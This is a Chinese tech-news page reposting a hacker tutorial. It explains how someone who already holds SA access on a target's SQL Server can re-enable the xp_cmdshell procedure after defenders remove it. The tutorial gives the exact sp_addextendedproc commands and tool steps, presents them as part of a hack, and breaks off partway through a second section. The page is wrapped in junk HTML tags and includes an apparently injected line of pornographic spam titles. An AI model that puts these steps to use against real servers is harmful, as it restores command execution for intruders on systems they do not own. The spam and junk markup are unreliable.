<dfn id="yhprb"><s id="yhprb"></s></dfn><dfn id="yhprb"><delect id="yhprb"></delect></dfn><dfn id="yhprb"></dfn><dfn id="yhprb"><delect id="yhprb"></delect></dfn><dfn id="yhprb"></dfn><dfn id="yhprb"><s id="yhprb"><strike id="yhprb"></strike></s></dfn><small id="yhprb"></small><dfn id="yhprb"></dfn><small id="yhprb"><delect id="yhprb"></delect></small><small id="yhprb"></small><small id="yhprb"></small> <delect id="yhprb"><strike id="yhprb"></strike></delect><dfn id="yhprb"></dfn><dfn id="yhprb"></dfn><s id="yhprb"><noframes id="yhprb"><small id="yhprb"><dfn id="yhprb"></dfn></small><dfn id="yhprb"><delect id="yhprb"></delect></dfn><small id="yhprb"></small><dfn id="yhprb"><delect id="yhprb"></delect></dfn><dfn id="yhprb"><s id="yhprb"></s></dfn> <small id="yhprb"></small><delect id="yhprb"><strike id="yhprb"></strike></delect><dfn id="yhprb"><s id="yhprb"></s></dfn><dfn id="yhprb"></dfn><dfn id="yhprb"><s id="yhprb"></s></dfn><dfn id="yhprb"><s id="yhprb"><strike id="yhprb"></strike></s></dfn><dfn id="yhprb"><s id="yhprb"></s></dfn>

新聞中心

EEPW首頁(yè) > 手機與無(wú)線(xiàn)通信 > 設計應用 > Microsoft SQL Server數據庫SA權限總結

Microsoft SQL Server數據庫SA權限總結

作者: 時(shí)間:2017-06-13 來(lái)源:網(wǎng)絡(luò ) 收藏
需要準備的工具:

SQL Query Analyzer和SqlExec Sunx Version  

第一部分:  

去掉xp_cmdshell保護系統的具體分析:

語(yǔ)句如下:

1.去掉xp_cmdshell擴展過(guò)程的方法是使用如下語(yǔ)句:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell擴展過(guò)程的方法是使用如下語(yǔ)句:

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

現在看看現象:

我們在取得后遠程用Sqlexec執行cmd命令,出現提示SQL_ERROR,那么很可能是去掉了xp_cmdshell?! ?

現在來(lái)看看被去掉xp_cmdshell后恢復的兩種方法:  

方法一、使用SQL Query Analyzer連接對方后直接寫(xiě)入,挺方便sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

方法二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format選項里填上%s,在CMD選項里輸入sp_addextendedproc 'xp_cmdshell','xpsql70.dll'或者對Sql2000情況下使用sp_addextendedproc 'xp_cmdshell','xplog70.dll'另外使用SqlExec Sunx Version來(lái)去除xp_cmdshell的方法和加的時(shí)候選擇條件一樣,然后輸入sp_dropextendedproc 'xp_cmdshell'就可以了。

第二部分:  

假如對方已經(jīng)把xplog70.dll刪除或者改了名,我們來(lái)用下面的方法繼續我們的hack任務(wù):  

當出現如下現象暗示代表很有可能是xplog70.dll刪除或者改了名?! ?

在查詢(xún)分析器中寫(xiě)入sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'提示中已存在名為'xp_cmdshell'的對象。


關(guān)鍵詞: MicrosoftSQLServer 數據庫 SA 權限

評論


相關(guān)推薦

技術(shù)專(zhuān)區

關(guān)閉
国产精品自在自线亚洲|国产精品无圣光一区二区|国产日产欧洲无码视频|久久久一本精品99久久K精品66|欧美人与动牲交片免费播放
<dfn id="yhprb"><s id="yhprb"></s></dfn><dfn id="yhprb"><delect id="yhprb"></delect></dfn><dfn id="yhprb"></dfn><dfn id="yhprb"><delect id="yhprb"></delect></dfn><dfn id="yhprb"></dfn><dfn id="yhprb"><s id="yhprb"><strike id="yhprb"></strike></s></dfn><small id="yhprb"></small><dfn id="yhprb"></dfn><small id="yhprb"><delect id="yhprb"></delect></small><small id="yhprb"></small><small id="yhprb"></small> <delect id="yhprb"><strike id="yhprb"></strike></delect><dfn id="yhprb"></dfn><dfn id="yhprb"></dfn><s id="yhprb"><noframes id="yhprb"><small id="yhprb"><dfn id="yhprb"></dfn></small><dfn id="yhprb"><delect id="yhprb"></delect></dfn><small id="yhprb"></small><dfn id="yhprb"><delect id="yhprb"></delect></dfn><dfn id="yhprb"><s id="yhprb"></s></dfn> <small id="yhprb"></small><delect id="yhprb"><strike id="yhprb"></strike></delect><dfn id="yhprb"><s id="yhprb"></s></dfn><dfn id="yhprb"></dfn><dfn id="yhprb"><s id="yhprb"></s></dfn><dfn id="yhprb"><s id="yhprb"><strike id="yhprb"></strike></s></dfn><dfn id="yhprb"><s id="yhprb"></s></dfn>